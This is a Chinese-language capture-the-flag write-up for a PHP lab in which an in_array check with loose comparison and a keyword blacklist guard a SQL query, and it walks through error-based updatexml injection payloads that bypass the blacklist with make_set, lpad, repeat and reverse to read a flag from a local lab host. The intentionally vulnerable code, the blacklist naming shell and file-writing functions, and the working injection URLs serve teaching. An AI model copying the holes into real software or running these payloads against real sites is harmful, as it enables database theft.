【红日Day1-CTF】in_array函数缺陷

练习记录

复现代码:

index.php

<?php
include 'config.php';
$conn = new mysqli($servername, $username, $password, $dbname);
if ($conn->connect_error) {
    die("连接失败: ");
}
$sql = "SELECT COUNT(*) FROM users";
$whitelist = array();
$result = $conn->query($sql);
if($result->num_rows > 0){
    $row = $result->fetch_assoc();
    $whitelist = range(1, $row['COUNT(*)']);
}
$id = stop_hack($_GET['id']);
$sql = "SELECT * FROM users WHERE id=$id";
if (!in_array($id, $whitelist)) {
    die("id $id is not in whitelist.");
}
$result = $conn->query($sql);
if($result->num_rows > 0){
    $row = $result->fetch_assoc();
    echo "
"; foreach ($row as $key=>$value){echo"
";echo"
";}echo"
$key
$value
"
; } else{ die($conn->error); } ?>

config.php

<?php  
$servername = "localhost:3306";
$username = "root";
$password = "root";
$dbname = "day1";

function stop_hack($value){
	$pattern = "insert|delete|or|concat|concat_ws|group_concat|join|floor|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex|file_put_contents|fwrite|curl|system|eval";
	$back_list = explode("|",$pattern);
	foreach($back_list as $hack){
		if(preg_match("/$hack/i", $value))
			die("$hack detected!");
	}
	return $value;
}
?>

数据库建立SQL语句:

create database day1;
use day1;
create table users (
id int(6) unsigned auto_increment primary key,
name varchar(20) not null,
email varchar(30) not null,
salary int(8) unsigned not null );

INSERT INTO users VALUES(1,'Lucia','[email protected]',3000);
INSERT INTO users VALUES(2,'Danny','[email protected]',4500);
INSERT INTO users VALUES(3,'Alina','[email protected]',2700);
INSERT INTO users VALUES(4,'Jameson','[email protected]',10000);
INSERT INTO users VALUES(5,'Allie','[email protected]',6000);

create table flag(flag varchar(30) not null);
INSERT INTO flag VALUES('HRCTF{1n0rrY_i3_Vu1n3rab13}');

漏洞分析:

进入网站:

http://192.168.1.139/array/index.php?id=2

【红日Day1-CTF】in_array函数缺陷_第1张图片
发现页面正常,可以进行操作了。

这道题目考察的是 in_array 绕过和不能使用拼接函数的 updatexml 注入,我们先来看一下 in_array 的绕过。在下图第11~13行处:
【红日Day1-CTF】in_array函数缺陷_第2张图片

程序把用户的ID值存储在 $whitelist 数组中,然后将用户传入的 id 参数先经过stop_hack函数过滤,然后再用 in_array 来判断用户传入的 id 参数是否在 $whitelist 数组中。这里 in_array 函数没有使用强匹配,所以是可以绕过的。

updatexml:

然后在说说 updatexml 注入,当 updatexml 中存在特殊字符或字母时,会出现报错,报错信息为特殊字符、字母及之后的内容,也就是说如果我们想要查询的数据是数字开头,例如 7701HongRi ,那么查询结果只会显示 HongRi 。所以我们会看到很多 updatexml 注入的 payload 是长这样的 and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1) ,在所要查询的数据前面凭借一个特殊符号(这里的 0x7e 为符号 '~' )。

我们看一下 stop_hack 函数过滤了什么。可以发现该方法过滤了字符串拼接函数concat,所以我们就要用其他方法来绕过。

function stop_hack($value){
	$pattern = "insert|delete|or|concat|concat_ws|group_concat|join|floor|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex|file_put_contents|fwrite|curl|system|eval";
	$back_list = explode("|",$pattern);
	foreach($back_list as $hack){
		if(preg_match("/$hack/i", $value))
			die("$hack detected!");
	}
	return $value;
}
?>

被过滤的字符

$pattern = "insert|delete|or|concat|concat_ws|group_concat|join|floor|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex|file_put_contents|fwrite|curl|system|eval";

这里有大佬分析updatexml 的文章

既然updatexml函数是从特殊字符、字母后面开始截取的,我们就需要在我们想要的数据前面拼接上特殊字符。waf禁用了concat等常见字符串拼接函数,那么我们可以使用冷门的字符串处理函数绕过,这里感谢雨了个雨师傅提供的payload

select updatexml(1,make_set(3,'~',(select user())),1);

关于make_set函数的用法,可以参考:mysql MAKE_SET()用法
make_set函数的用法:
MAKE_SET(bits,str1,str2,…)

返回一个设定值 (一个包含被‘,’号分开的字字符串的字符串) ,由在bits 组中具有相应的比特的字符串组成。str1 对应比特 0, str2 对应比特1,以此类推。str1, str2, …中的 NULL值不会被添加到结果中。

eg1

【红日Day1-CTF】in_array函数缺陷_第3张图片
bits将转为二进制,1的二进制为0001,倒过来为1000,所以取str1(a),打印a.

eg2

在这里插入图片描述
bits将转为二进制,3的二进制为0011,倒过来为1100,所以取str1(a),str2(b),打印a,b.

eg3

【红日Day1-CTF】in_array函数缺陷_第4张图片
1|4转为二进制为0001 | 0100, | 是进行或运算,得到0101,倒过来为1010,所以取str1(a),str(3),打印hello,world.

eg4

在这里插入图片描述
这个跟上一步是一样的由于str(3)是null,所以不输出

我们还可以找到类似的函数:lpad()reverse()repeat()export_set()lpad()、reverse()、repeat()这三个函数使用的前提是所查询的值中,必须至少含有一个特殊字符,否则会漏掉一些数据)。
【红日Day1-CTF】in_array函数缺陷_第5张图片
payload:

http://192.168.1.139/array/index.php?id=2  and (select updatexml(1,make_set(3,'~',(select flag from flag)),1))

【红日Day1-CTF】in_array函数缺陷_第6张图片
下面同理:

http://192.168.1.139/array/index.php?id=2  and (select updatexml(1,lpad('{',100,(select flag from flag)),1))
http://192.168.1.139/array/index.php?id=2  and (select updatexml(1,repeat((select flag from flag),2),1))
http://192.168.1.139/array/index.php?id=2  and (select updatexml(1,(select flag from flag),1))
http://192.168.1.139/array/index.php?id=2  and (select updatexml(1,reverse((select flag from flag)),1))

这里前面是倒过来的:
【红日Day1-CTF】in_array函数缺陷_第7张图片

你可能感兴趣的:(技术)